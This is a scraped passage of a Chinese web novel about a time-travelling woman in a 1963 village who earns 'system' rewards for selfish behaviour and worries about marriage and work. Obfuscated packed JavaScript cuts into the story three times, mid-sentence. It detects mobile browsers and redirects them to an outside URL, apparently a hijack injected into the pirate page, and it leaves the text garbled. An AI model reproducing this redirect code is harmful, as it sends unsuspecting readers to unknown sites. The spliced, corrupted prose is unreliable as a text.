照相简单啊,身为万能博主的秦舒颜简直不要太擅长。 原身审美好,手巧,化妆梳头是一把好手,总能把人打扮得洋气。 美妆博主起家的秦舒颜,那更是手拿把掐,轻轻松松。 想把事业干起来很容易,难得就是转正,在镇上定居。 现在工作岗位是一个萝卜一个坑,她能当临时工都是因为本来的两个学徒其中之一怀孕难产,身体不好了。 想想这个年代生孩子的风险,秦舒颜打了个哆嗦。 太要命了! 她这个年龄在这个时代正是结婚的好时候,有些乡下更是16就出嫁。 现在又没有什么避孕措施,结婚很容易就怀孕。 特喵的她这身体还没长好呢!生什么生,万一难产怎么办? 秦舒颜越想越是头皮发麻,自己给自己吓得够呛。 任务途中意外死亡算失败,是要扣积分的,积分为负就不能抽金手指,那不是地狱开局吗? 本来还感觉热的秦舒颜,只觉得莫名有股寒气,瘆得慌。 要不给人当后妈?不生了? 只要利益够,后妈不后妈她是无所谓的,但是这小破地方也没个人物,根本不值得呀。 还是得往上爬啊。 想想马上要来的十年……秦舒颜又萎了。 不得行啊,这个年代风声鹤唳,不好出头。 看来只能嫁军人,或者去当兵,这样是最保险,不会被波及到的。 文工团是可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203394|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但就是没门路进去。 而且她走了赵美玲怎么办,支线任务不做了吗? 秦舒颜忍不住挠脸,只觉得心烦意乱。 不想了! 天气燥热影响心态,走一步看一步吧。 秦舒颜爬起来,打水去洗昨天穿的衣服,顺便泡绿豆。 中午家里人不回来,是赵美玲去田里送饭的。 秦舒颜也没闲着,煮了一锅绿豆汤。 周芳华看着锅里的绿豆,嘴角抽搐了一下,“娘肯定要骂你败家。” “放少点没味道没效果,喝了跟没喝有什么区别?”秦舒颜才不管那么多,“我拿回来的东西我做主。” 周芳华没再多说,只是笑。 她现在真有点喜欢小姑子了,实在是太大方了。 厨房热,两人都没有多待,煮上就出去了。 秦舒颜等两人午睡的时候,才过来给绿豆汤里放白糖。 她没有什么舍不得的,有系统在,以后还有很多物资,这点绿豆和白糖她没有放在眼里,用了就用了。 占了人家身体,孝敬人家父母也是应该的。 这个时代秋收真的是遭罪,脱一层皮不是夸张说法。 女人当男人用,男人当牲口用,一场秋收下来人人变形,不知道要耗费多少生命力。 秦舒颜虽然是个孤儿,但是也没吃太多苦,后面几年更是只享福。 原身的记忆让她对秦家人心疼,自己帮忙干是不可能干的,也只能出点不要钱的东西了。 这还能刷秦家人好感度,何乐而不为呢? 不过以后得悠着点,得把控一下品质和数量才行,要跟原身的频率一致,不能太过分,这样容易引起怀疑。 煮好绿豆汤,秦舒颜没把它弄到井里去,太多了,还没个合适的容器,她怕翻在水里。 等自然放凉后,秦舒颜自己喝了个爽,又给周芳华盛了一碗送去。 周芳华才睡醒,看见那一碗绿豆汤顿时笑开花,连连道谢。 等秦舒颜出去后,她迫不及待喝了一口,那甜蜜的滋味瞬间让她瞪大双眼。 “我滴娘诶!这是放了多少糖!” 周芳华立刻大口喝起来,一个没控制住,把绿豆汤喝了个干干净净。 瞧着下面厚厚的一层绿豆,她眉开眼笑,对这大方的小姑子好感蹭噌噌往上升。 她思索了0.1秒,就干脆利落地把绿豆全吃了。 “反正都喝了,就不给二江留了,他在地里肯定能喝到!” 从周芳华这里出来的秦舒颜,去把暖壶里的水倒掉,把绿豆汤全部装进了暖壶里,戴着大草帽拎着壶去了田里。 一直听着动静的赵美玲立刻出门,去爹娘的窑洞一看灶台,空空如也。 她不敢相信的翻找起来,确定秦舒颜没给她留后,气得直喘气。 “这个贱人绝对是故意的!” 没错,秦舒颜就是故意不给赵美玲留的。 她都是极品了,还做什么面子情?就不给赵美玲留,气死她! 【你言而无信,故意不给赵美玲留绿豆汤,符合极品人设,奖励大白兔奶糖两斤。】 秦舒颜顿时乐了。 好家伙,小镇上有价无市根本买不到的大白兔呢。 看来赵美玲是气得够呛了,要不然奖励不能这么好。 她哼着小曲,不紧不慢地往自家田里走去,笑吟吟地跟同样送水的村里人们打招呼。 4. 4 秦舒颜还没走到自家田里,就被原身的追求者之一拦住了。 “舒颜,舒颜啊~好久不见!” 来人是村长之子白耀祖,秦舒颜的小学、初中同学。 他是村里唯一一个上了高中的人,刚毕业就进了镇上的粮站当会计,这会也是单位放了农忙假。 秦舒颜看见他后只觉得麻烦,心里暗骂一声,面上却是摆出原身的姿态,矜持地对他浅浅一笑。 “耀祖啊,好久不见。” 秦舒颜太漂亮了,光是一个浅浅的微笑,就把白耀祖迷得五迷三道,这会儿看她的眼神都直了,脸上尽是傻笑。 白耀祖长得不丑,甚至可以说是帅,就是这个时代标准的国字脸正气大帅哥。 他个子也不矮,秦舒颜目测他起码有177cm。 这个时代吃不饱吃不暖的,能长到177已经是高个了。 白耀祖是原身众多追求者里,也算是能排得上号的,不仅仅是他外表不错,对她也大方,更重要的是他爹是村长,他本人是正式工。 原身面对他还是有个笑的模样,不像是对于其他追求者一样高冷。 不过在秦舒颜看来,他也就一般。 嫁给他是能住镇上去,也勉强算城里人,这可离原身目标差远了。 要知道这辈子自己的日子过得越好,原身才会更满意,她给的时空局的报酬越高,自己的积分也就越多。 可不能随便嫁人了,必须得仔细挑选才行。 嫁给白耀祖是可以躲在村里,把这十年安稳过去,然后再改开后搞事业。 可这也太慢太憋屈了,秦舒颜不乐意在村里躲十多年,她是真受不了西北小山村的生活环境,那真是要啥没啥,糟糕透了。 而且这白耀祖的性格,是标准的这个时代的大男子主义,让她伺候他,当贤妻良母? 拉倒吧!美死他算了! 不仅仅是他,其他追求者也得断了才行,这么吊着一群也不是事,万一再出什么乱子呢。 白耀祖的出现也是给秦舒颜提了个醒。 不过白耀祖的身份特殊,要断也要委婉一点,得罪了他们家,村长给她使绊子怎么办? 现在去哪里,到哪里工作都要从村长那边办手续,但凡卡她一下耽误了事,那她真受不了。 一瞬间心思百转千回的秦舒颜,笑吟吟地敷衍了白耀祖几句,随后就借口太阳晒,先给家里人送水去了。 白耀祖很久没见秦舒颜了,这会儿好不容易遇到,当然舍不得就这么离开,于是便提议他帮忙拎水壶。 秦舒颜顿时头大,他帮忙个屁! 真要白耀祖帮着把壶拎过去,这叫人看见了,这个月村里八卦就全是她没跑了。 原身享受别人追求她,捧着她,给她东西,但分寸拿捏得特别好,从来没有被当众看见过。 都是那些小伙子拿东西被家里人发现,挨揍时候传出来的。 虽然那些小伙子都没说给谁,可村里人谁不知道谁啊,所有人都知道是给秦舒颜了。 可从来没被人看见过,大家也只能在背后议论,没闹到明面上。 秦家人也正是因为如此,才在大家嚼秦舒颜舌根的时候,理不直气也壮地骂回去。 那都是原身的功劳,她总是暗示明示要是被别人看见很不好,只要装装为难委屈,那些追求者们就不约而同地偷偷摸摸起来。 反正谁也没搞幺蛾子,有事全担了,完全没闹到秦舒颜这边来。 白耀祖是飘了,他是觉得自己工作稳定了,秦舒颜18岁生日也过了,可以挑明了结婚了,这才试探起来。 秦舒颜大脑飞速运转,刚准备开口说什么的时候,一道熟悉的声音响起。 “四宝!” 秦舒颜看过去,发现是秦二江。 她心中大喜,这来得可太是时候了! “二哥。” 秦二江小跑过来,接过秦舒颜手里的暖壶,目光不善地盯着白耀祖,“不要麻烦你,我拎就好。” 说罢,就拉着秦舒颜离开了。 秦舒颜顺势而为,回头给白耀祖了一个略带抱歉和安抚的眼神。 白耀祖心中的懊恼瞬间就没了。 秦家人都很护着秦舒颜,这是公认的,别说秦家三兄弟了,就是秦家其他几房的也是如此。 但凡谁凑近秦舒颜,都少不了秦家哥哥们的铁拳警告,村里人都习惯了,白耀祖也没多想,习以为常。 他不仅没多想,甚至还顶着太阳站在原地傻笑,回味着秦舒颜刚刚的笑容。 等到走到看不见的地方,秦舒颜松了口气,“二哥你来得太是时候了,我正想着怎么拒绝他呢。” 秦二江闻言哈哈大笑,“我早看见你们了,躲着没出来罢了,看你为难才专门给你解围的。” 秦舒颜大惊,“刚刚那么空旷,你躲在哪里的?” 她完全没有注意到! 秦二江哼笑一声,得意道:“那是你二哥的看家本事,还能叫你发现了?那我还怎么混?” 秦舒颜秒懂,这躲避隐匿的技能是他偷鸡摸狗练出来的,这方面他是专业的。 看秦舒颜恍然大悟的表情,秦二江也明白了聪明的妹妹懂了自己这本事怎么来的,不禁有些羞恼。 “你个臭丫头!” 他伸手捏了一把秦舒颜的脸。 秦舒颜连忙躲开,“二哥!你一身臭汗,别摸我!” “就摸!就你最爱干净!”秦二江故意抬手佯装使坏。 秦舒颜吓得连忙快跑几步走到前面。 秦二江性格最跳脱,结婚成家了还跟没长大的孩子一样,故意追着秦舒颜吓唬她。 秦舒颜被他那臭汗吓得避之不及,气恼得不行,故意揭他短。 “二哥你为啥在这儿?怎么没在地里?又偷懒!” 秦二江笑哈哈地拎起暖壶,拿开盖子给自己用暖壶盖倒了一点,一口喝完后发出舒爽的叹息声。 “这不是寻思你也快来了,过来接你嘛~” 他回味的吧唧吧唧嘴,没忍住倒了盖子。 “真甜真好喝!我等不到田里了,先把我那份喝了拉倒。” 说罢,就咕噜咕噜一口气喝完。 秦舒颜无语凝噎,心想不愧是你。 既然遇到了秦二江,秦舒颜也懒得去地里了,过去了见了村里人少不了打招呼,她嫌麻烦。 于是甩手就走了,“二哥你拎过去吧,我就不去了,我回了。” “回吧回吧,懒蛋,这点路都懒得走,还好意思说我这个下地的?”秦二江斜眼看她。 秦舒颜掩耳盗铃,捂着耳朵跑了。 秦二江被逗笑了,笑骂一声“碎女子”,拎着暖壶走向田间。 一壶加了不少糖的绿豆汤,在炎热的天气中带给秦家人一丝凉爽,也驱散了他们的些许劳累。 喝爽了的赵翠花,回到家第一件事就是去查看剩下的绿豆,然后就是找到秦舒颜破口大骂她这个败家子。 秦舒颜被她念叨得头疼,干脆打断她:“你就说好不好喝吧?” 赵翠花脖子一梗,下一句骂她的话硬是憋了回去,“那肯定是好喝的啊,绿豆多金贵啊,我这辈子都没吃过几回呢。 还有那甜的哟,你是放了多少糖?那怎么可能不好喝!” “那不就得了,您喝就是了!”秦舒颜哄的人张嘴就来,“以后我赚多多的钱,带多多的金贵东西回来孝敬您跟我爹! 金贵东西吃多了用多了你就不心疼了。” “就你会说!”赵翠花没好气地瞪了她一眼,但是一想自家闺女的能耐,想想她的孝心,又没忍住乐了。 “那行,那你以后多带点好东西回来,也叫我跟你爹开开眼,享享福!” “瞧好吧您~”秦舒颜揽着便宜娘,撒娇卖乖地把她哄上了饭桌。 哪怕秦家其他人看惯了秦舒颜哄人的本事,但还是看一次感叹一次。 “还得是四宝,瞧瞧这张嘴哟~” 其他人深以为然地点头。 擦洗过后,众人坐上了饭桌,周芳华跟赵美玲给大家打饭。 秦舒颜饭不端碗不摆,两手一摊就等着吃,可把赵美玲看得不得劲儿。 别人不干活那是累了一天,她什么不干也当大小姐?凭什么! 就凭那一点子绿豆汤吗? 没喝到绿豆汤的赵美玲一肚子火。 之前自己舍不得喝,那是心疼丈夫,给秦三河喝她心甘情愿。 可现在有一大锅自己还没喝到,赵美玲就不开心了。 于是饭桌上老大家的两个小崽子嚷嚷着要喝绿豆汤时,故意惊讶地开口道:“你们俩也没喝绿豆汤吗?” “没有!” 秦聪跟秦花异口同声道。 众人一下子全部看向秦舒颜,秦舒颜似笑非笑地看了一眼赵美玲,没有说话。 秦三河听出不对劲,开口问道,“你没喝?” 赵美玲抬头,露出委屈又坚强的表情,“我没事,我在家什么没下地受累,不喝也没关系。” 秦三河看向秦舒颜,后者毫不在乎地开口:“我光惦记着怀孕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203395|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的二嫂,跟田里的你们了,把三嫂跟不在家的孩子给忘了。” 赵美玲在心里冷笑一声,说道:“我就算了,可孩子……瞧把俩孩子馋的,听着我们说绿豆汤,一个劲地要。 没有也就罢了,有还没给孩子喝一口也真是……” 她话还没讲完呢,秦聪立刻挥舞起手臂,整个人兴奋得不行,“小姑姑给我们吃糖了!特别特别甜!” 秦花马上补充道:“小姑姑说是大白兔奶糖!” “对!大白兔奶糖!特别特别特别好吃!” 说着嘴巴一张,口水哗啦啦流了下来。 秦花嫌弃地看了哥哥一眼,把兜里糖纸拿了出来,炫耀似的给大家看。 “看!糖纸香喷喷的,上面还有兔子,可漂亮了!” 众人惊讶地看着那糖纸,“这就是那什么大白兔奶糖?好几块一斤的那个?” “糖纸就看着很洋气啊,啧啧啧!” “四宝,你哪里来的大白兔?还有没有?” 秦舒颜从兜里掏出一个大白兔来,放到桌子上轻轻推向秦三河方向,“我一共就得了四个,自己吃了一个,给两小的赔罪用了两个。 就剩下一个了,给我三嫂赔罪吧。” 赵美玲没想到还有这一茬,一口气憋在嗓子眼里没发泄出来,不是很舒坦。 但看着那大白兔奶糖,赵美玲吞了口口水。 这玩意她在给人做宴席的时候吃过一回,那味道她记忆犹新。 赵美玲期盼地看着桌子上的大白兔,就等秦三河给她拿过来。 其他人也盯着那糖,恨不得把它看出一朵花来。 周芳华也想吃,馋得直掐秦二江的腰。 秦二江的视线跟秦舒颜对上,后者给他使了一个眼色,前者莫名其妙就懂了。 秦二江也大不喜欢装腔作势的赵美玲,周芳华私下跟他吐槽过好几次对方看不上她。 既然妹子跟媳妇不喜欢这人,那秦二江还有什么客气的。 他反手扶住周芳华,大惊失色道:“媳妇,媳妇你咋了?恶心吗?是不是想吐? 哎呀,你是不是开始害喜了?” 这一声吓了大家一跳,包括周芳华。 她因为想吃糖又不好意思说,纠结的把不舒服发泄在丈夫身上,脸上表情很不好。 这会儿大家看着,还以为她是真不舒服。 周芳华也是机灵,听丈夫这么一说,顺势就捂住嘴,一副不得劲的虚弱模样。 队友开团,秦舒颜再次秒跟,她大惊失色地开口:“诶呀!二嫂没事吧?该不会是中午被三嫂吓到动了胎气吧?” 有了助攻,想吃糖的周芳华就更无所顾忌了,“有,有可能,我肚子是不太舒服。” “咋回事?什么吓着了?”赵翠花急得不行。 “就三嫂洗衣服的时候我俩聊天呢,结果她突然发出好大的声音,把我二嫂吓了一个激灵。”秦舒颜解释道。 这话是实话,赵美玲也无法反驳,只能说:“我不是故意的。” 秦二江:“那这大白兔给我媳妇吃吧,我听说这大白兔几颗糖就顶一杯牛奶,最有营养不过,给她补补吧。” 赵美玲顿时反应过来了,这是想抢了她奶糖故意这么说的啊! 她想反驳,可周芳华捂住肚子装模作样,吓的赵翠花有些慌乱,一个劲询问情况。 秦家第三代有点少,每一个孩子都是她非常看重的,于是她一把拿走桌子上大白兔奶糖塞到周芳华手里。 “既然是美玲吓的,那你就快吃了吧,算作补偿了。” 周芳华立刻剥开糖纸塞嘴里,想着下肚才最安稳。 这下周芳华开心了,秦舒颜也舒服了,唯独赵美玲有苦说不出,气到咬牙。 秦家人都比较淳朴,有心眼的就秦二江两口子跟秦舒颜。 他们三个联合搞出来这么一出,其他人一点都没怀疑,毕竟吓着周芳华是赵美玲自己承认了的嘛。 赵美玲看向秦三河,对方正头也不抬地端碗喝粥呢。 秦三河标准直男一个,完全没听出来这事有什么问题,只想回头问问秦舒颜在哪里搞的大白兔,他也给媳妇搞来点尝尝。 不过可惜他媳妇并不知道他的想法,这会儿已经气了个半死。 而秦舒颜呢,正看着系统发放的新一轮奖励嘎嘎乐呢。 【你故意不给赵美玲赔偿,还联合他人设计戏弄她,符合极品人设,奖励猪肉5斤,票证盲盒一个。】 赵美玲啊赵美玲,你可太好薅了~能不能发家致富就看你了呀! 5. 5 秋收劳苦,累出血汗,秦舒颜光是看着都觉得吓人。 这个时代每次都能刷新她的认知,她在这里待得越久,也越能体会到局限。 秦舒颜庆幸自己第一个世界抽到的极品人设,可以理直气壮不ooc地说出不去下地。 换作其他世界和人设,敢秋收不下地?直接吊起来抽! 太恐怖了! 秦舒颜就这么天天待着家里,领着【秋收不下地,懒惰自私符合极品人设】的奖励。 不过看着秦家人累得话都不想说的模样,秦舒颜还是帮着做家务活了。 当然,仅限于洗个碗,扫地,给秦家二老打水什么的。 让秦舒颜伺候其他人那是不可能的,他们又不是原身的责任。 秋收期间,秦舒颜就去了一趟镇上,找了个借口能把之前抽到的肉光明正大地拿出来。 当然,五斤也没全部拿出来,秦舒颜回来后趁着家里没人,用刀割了一半放着,另一半收了起来。 要知道这个时代的肉,那是真正的奢侈品,但凡过年过节能沾点肉味,都是过得不错了。 一年到头家家户户都盼着过年,因为只有过年村里才杀猪,大家才能分到一点肉。 平常……想都别想! 真就是一条腊肉吃一年。 西北穷啊,比起其他地方更穷,更别说这还是六三年。 这边的人买肉,那都是二两二两的来,秦舒颜这两斤半的五花肉,那真是过大年了。 一只羊,半只野猪能娶一个很不错的媳妇,可想肉有多珍贵。 也就是秦三河能打猎,秦家日子才过得好一些。 但也没好到哪里去,现在山上不让打猎,抓到开始挖社会主义的墙脚,得严惩。 虽然这么规定,但下有对策嘛,大家非常默契地只打点野鸡野鸭什么小动物的。 都偷吃,谁也不举报谁。 野羊野猪什么的都得偷偷处理,不敢叫人知道。 要不然就是见面分一半,否则叫人知道了,眼红了举报了就完蛋。 所以秦家也是很馋肉的。 秦舒颜自己做了肉,大块红烧,调料都是这段时间积攒的奖励,以及赵翠花攒了不知道多少年的八角桂皮。 等秦家人下地回来的时候,还没走到家就闻到了香味。 那香的啊,吸引了许多人在秦家大门外围观。 “额滴神啊!这也太香了!” “老秦家吃肉?怕不是又是他们家四女子弄回来的。” 众人闻言顿时挤眉弄眼,笑得不怀好意。 “也不知道是谁家娃又要挨打了。” “秦家四女子……啧啧啧!不老实,不好嫁~” “那有什麻了么,要是能吃肉,我恨不得四女子是额家的。” “就是!香四个人咧!” 秦家人听见了议论,顿时表情不善起来,赵翠花率先出击,指着这些人鼻子骂,很快就把人全骂走了。 等回到家,看着一大盆的红烧肉炖洋芋,所有人都在疯狂吞口水。 “这,这么些肉啊?”秦大海眼睛都直了。 “还是四宝本事大!”秦二江给秦舒颜竖起老拇指,拿着筷子用视线瞄准自己目标,就等老娘发话后开抢。 “四宝做饭这么香~”周芳华馋得不行。 “哼!”赵翠花哼了一声,又没忍住吞了口口水,“她不知道放了多少料,霍霍了多少东西,能不香吗?” “那猪肉,她连油都没炼!败家子啊!” 秦舒颜无奈,心想做红烧肉炼什么油啊? 这个时代的人,吃肉都是先炼油,猪油算是荤的,炒菜放一点点就算是粘肉味。 一小罐猪油,那是所有家庭主妇的珍藏,谁敢乱用绝对得挨一顿毒打。 也就秦舒颜,换作其他人可不是念叨两句这么简单。 “行了行了,快吃吧!”秦舒颜招呼大家动筷子。 要不是她没家伙事,没地做饭偷吃,她才不会主动做饭呢,谁让她也馋呢。 穿越的这一周,天天喇嗓子的粥跟邦邦硬的窝窝头,再加上咸菜疙瘩。 秦舒颜真吃不下去,吃得够够了,宁愿少吃饿着,都不想吃这些。 看来极品得认真当,好好当才行,要不然她迟早会饿死。 秦舒颜发话了,大家更加蠢蠢欲动,但老娘没发话,他们还是没敢动。 赵翠花板着脸,说:“这都是四宝弄来的,她看咱秋收累,心疼咱们才特意补贴咱的。 都给老娘记着四宝的好!听见没有?” “听见了!” 秦家众人异口同声,唯有秦老爹跟赵美玲没吭声。 赵翠花就盯着赵美玲呢,见她没张嘴,立刻道:“老三家的,你为啥不吭声?吃四宝的肉,连声谢谢都不会说?” 感受到众人的视线,赵美玲感觉很难堪。 赵美玲倒是想硬气一点,但她也馋肉,根本硬气不起来,只能屈辱地开口道谢。 赵翠花还是很不满她的态度,但也没多说什么,发话叫大家吃饭。 一瞬间,所有人都把筷子伸向了肉盆里。 什么父子兄妹亲人的,通通抛在脑后。 抢! 所有人满脑子就只有这一个字,谁都不管对方是谁,他们眼里只有肉。 秦舒颜震惊地看着他们“厮杀”,反应过来后果断地加入了战场。 到最后,汤汁分完了,盆更是被秦二江舔得干干净净,都省得洗完了。 大吃一场的秦家众人,对秦舒颜的好感大幅度上升,全在夸她手艺好。 唯一不感恩的赵美玲,则是一声不吭,心里不屑地吐槽起来。 什么手艺好?笑死个人! 肉是好肉,但白瞎了,如果是她做,绝对能做得更好吃! 赵美玲完全没想过,自己有没有那么多调料,舍不舍得补贴自己的调料来做饭。 反正就是在心里疯狂贬低秦舒颜,见不到她好。 吃了一顿肉,接下来的几天秋收,秦家人都是动力满满。 一直到结束,秦舒颜都没有再拿东西出来补贴家里。 过犹不及的道理她深以为然,毕竟原身也没这么奢侈大方的。 秋收结束,秦舒颜也得回照相馆上班了。 照相馆的工作特别特别闲,秦舒颜去了除了打扫卫生,就光跟另一个女学徒聊天了。 至于照相机,老师傅根本不让她们碰的,他把相机宝贝的跟什么似的,自己拿个软布一天到晚地轻轻擦。 学照相是不可能的,秦舒颜是个外人,她的工作就是给人梳头打扮。 这小镇距离最近的县,要一直往东四十公里,镇子附近有许多村、乡。 十里八乡的人要照相,都得来这里。 可饶是如此,一天天也是清闲得要命,没几个人来。 照相要钱啊,舍得的人真不多。 秦舒颜乐得清闲,没事干就去打听文工团的消息。 费尽千辛万苦,花费了好几张特殊票证后,打听出来的结果让秦舒颜如遭雷劈。 这个年代的文工团一般情况根本不对外招人,就算招人也是从学校,专业戏曲、舞蹈学校招。 普通人根本没戏,连招收消息都不可能知道的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203396|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 就她这个穷山沟,小地方,呵呵,消息根本传不到这里来。 那人收了票,看她美貌年轻,劝了她几句。 “知道你想过好日子,可改换门庭不是那么容易的。 咱们这里就是当普通兵,那名额都是要靠抢的,一个个都能打破脑袋,更别说女兵文工团了。 那更是香饽饽,部队里没人根本不可能的。 你啊,还是老老实实找个好人家嫁了,再找个活计干,安安稳稳地过好日子才是正事。 别想那么多了,没用的。 想爬出大山进城的人无数,到最后还不是在地里打转……” 秦舒颜道谢后出来,整个人都有些恍惚。 是她想岔了,是她小说看多了才把事情想的那么简单。 是啊,60年代哪有那么容易翻身的。 这个时代为什么一人当兵全家光荣?那不就是一般人当不上吗? 秦舒颜失落地往家走,一路上都在思考接下来该怎么办。 上学吗?可原身初中毕业后就没上了,这都几年了高中还能要她吗? 这个念头一出,秦舒颜回家的脚步直接拐弯,去了镇上的唯一的初中,也是她的母校。 秦舒颜漂亮,守门的大爷认得她,一颗糖开道,对方就笑呵呵地把她放进去了。 秦舒颜按照记忆,去找了自己的老师,厚着脸皮询问她自己是否还能继续上高中。 结果又是一个晴天霹雳。 政策不允许,高中招生对象都是应届毕业生,根本没有隔了几年再去的。 除非她是个天才学霸,能对国家做出贡献的,才可能有例外特招。 而秦舒颜就是个普通人,是聪明了点,但跟天才比还是差远了。 “那我能自学,然后直接考大学吗?”秦舒颜不死心地问道。 老师笑了,“高中都不可能了,大学怎么可能?老师知道你好学,但是这条路是走不通了。 你可以试试夜校?去学一门技术课。 不过我们镇上没有夜校,你要上的话只能去县里。” 这也是条路。 秦舒颜诚恳地谢过老师,留下一把绿豆离开了。 恍恍惚惚的秦舒颜梦游似的回到家,魂不守舍地吃过饭,房间倒在床上双眼发直。 为啥不让她早来几年,但凡早几年,她拼死都得继续上学。 现在已经是63年,66年夜校都得关门,真要去的话,时间也来得及。 夜校倒是比高中好上,单位、街道或者公社推荐就行,她大不了花一笔物资就是。 可去夜校学什么? 老师告诉她夜校有农业生产、禽畜养殖和农村机电和会计这些专业课。 看来看去,好像就会计好一点。 可这个年代的会计,那是累得要死,纯手算啊。 秦舒颜一下子用被子把头蒙起来,在被窝里乱蹬腿。 干会计,那还不如继续在照相馆里干呢,起码她拍照水平更好,更容易有出路。 要不投稿写作? 但想想即将到来的运动,秦舒颜怂了。 她现在真的不敢乱来了,世界真实又残酷,跟她之前想的完全不一样。 余老师的《活着》突然在秦舒颜脑海中闪过。 活着…… 是啊,如果这个时代简单,他们又怎么可能这么惨。 哪怕70年代,都比现在强。 折腾了好一段时间的秦舒颜,此时是彻底的没招了。 难道真的只剩下嫁人这一条路? 秦舒颜皱着眉头思索起来,久久没有入眠。 6. 6 也不是不行,嫁人不可怕,可怕的是嫁错人。 这年头,这地界的男人都是极品大男子主义,就算要嫁人也得找个相对正常的才行。 还是去攀高枝一步到位,直接过好日子呢?还是选个老实人嫁了躲过这十几年,改开后再离婚走人搞事业? 可十几年过去,还有心气创业吗?而且白白浪费十几年也不太好啊,这么久都能把一个技能学透了。 在这山沟沟里能学什么?现在学什么都得给师父当牛做马三年才行,还是得去夜校。 秦舒颜顿时龇牙咧嘴。 夜校出来的那可是都是往最缺人的地方分配的,到时候去个更穷的山沟那就更惨了。 那她还不如嫁人算了,当家庭主妇好歹也就伺候丈夫和孩子,他们还能调教一下。 秦舒颜什么都吃就是不爱吃苦,为人民服务这种崇高的想法,她是完全没有的。 又不是疯了,干嘛有苦硬吃。 按照这个时代的背景和发展,嫁个当兵的是最好的,起码当兵的家里成分绝对没问题,那十年不慌。 如果能随军,那就更安全了。 可是报复赵美玲的支线任务就不好做了…… 这个念头一闪而过,瞬间就被秦舒颜抛在脑后。 不能贪,保证主线任务完成才是最重要的。 支线任务完不成也没关系,慢慢来,多去几个世界熟练了再说。 当兵的不好找啊,村里一个当兵的都没有。 镇上倒是有,但她不知道是谁家。 不过没关系,当兵走之前大部分人家都会照相,她明天好好问问照相馆的赵师傅,他肯定知道合适的。 工人可以作为备选,两个一起找。 确定了未来计划,秦舒颜就开始犯困,胡思乱想间睡了过去。 第二天一大早,天还没亮秦舒颜就起来,草草吃了饭就往镇上跑。 看秦舒颜吃完饭把筷子一丢就走人,连自己碗都不管,赵美玲脸一下就拉下来。 “舒颜今天不是放假吗?怎么还说去上班?”赵美玲故意问道。 “管她那么多干啥,在家闲着也是闲着,乐意去镇上去呗。”赵翠花翻了个白眼。 “你把活干完,你乐意去镇上也去呗,我又不是那恶婆婆,不拦着你。” “……” 赵美玲沉默了一秒,转移了话题,“舒颜最近老是往镇上跑,是不是谈对象了?” “谈就谈呗。”赵翠花很相信自家闺女的本事,“她眼光高着呢,等闲之辈入不了她的眼。 到时候肯定给我带回来个端铁饭碗的。” 说着,赵翠花就笑起来,“那我就彻底放心四宝了。” “……”赵美玲无语了一瞬,开口怂恿道:“那晚上可以问问她,催催她,她年龄也不小了。” 赵翠花对这事一直挺上心,闻言果然点头。 赵美玲脸上露出一个笑来,刚准备继续说话,就突然变脸的赵翠花打断。 “行了行了,别唠了,赶紧干活,把碗刷了去!” 赵美玲脸上的笑僵住,低头收拾一大家子的碗筷。 该死的!凭什么秦舒颜就什么活都不用干! 太碍眼了,赶紧嫁出去吧! 另一头,秦舒颜揣着一包一毛钱的烟去了村长家,很顺利就拿到了去县里夜校的介绍信。 她走去了镇上,又坐车去了县里,再转公交到夜校,硬是折腾了一上午。 累得够呛的秦舒颜二话不说,拿着系统奖励的粮票和钱直奔国营饭店。 今日供应红烧肉,猪肉大葱饺子。 秦舒颜眼睛一亮,十分豪爽地各要一份。 当然,也只能各要一份,这都是限量的,想多买都买不来。 在镇上秦舒颜都不敢去消费,小地方全是熟人,她今天吃碗红烧肉,转头就传遍了。 这段时间秦舒颜是真馋到了。 她觉得自己以后都不可能减肥了,年代世界里,别说满足口腹之欲了,能吃饱就算好的。 饭很快做好,秦舒颜去端了两趟,坐下后看着这一海碗的大饺子和红润润的红烧肉,馋得不由自主地咽口水。 “你一个小姑娘,吃得完这么多吗?禁止浪费粮食啊!” 旁边戴眼镜的一大爷看了一眼秦舒颜面前的红烧肉,意味不明地说道。 秦舒颜看了他一眼没说话,从军绿色的挎包里拿出了空饭盒,抬手就把饺子拨进去了一大半。 “我吃不完带走。” 那大爷可惜地吧唧吧唧嘴,转头端着自己的碗喝面汤。 秦舒颜夹起一块红烧肉吹了吹,送到嘴里后顿时眯起眼睛。 烫,香,润,肥而不腻! 这厨师水平很可以,真香啊! 身体缺少油水的秦舒颜吃得那叫一个满足,全程头也不抬。 累了一个上午的秦舒颜干完了一大碗红烧肉,吃了六七个大饺子,喝了一大碗面汤溜缝,这才满足地拍了拍肚子。 舒坦啊! 这才是人过的日子,天天吃那喇嗓子的杂粮粥,没有油的菜她是真不中啊。 秦舒颜坐着休息了一会儿,这才慢悠悠地出来,一步三挪地走向夜校。 夜校守门的大爷看得还挺紧,不是本校的不让进。 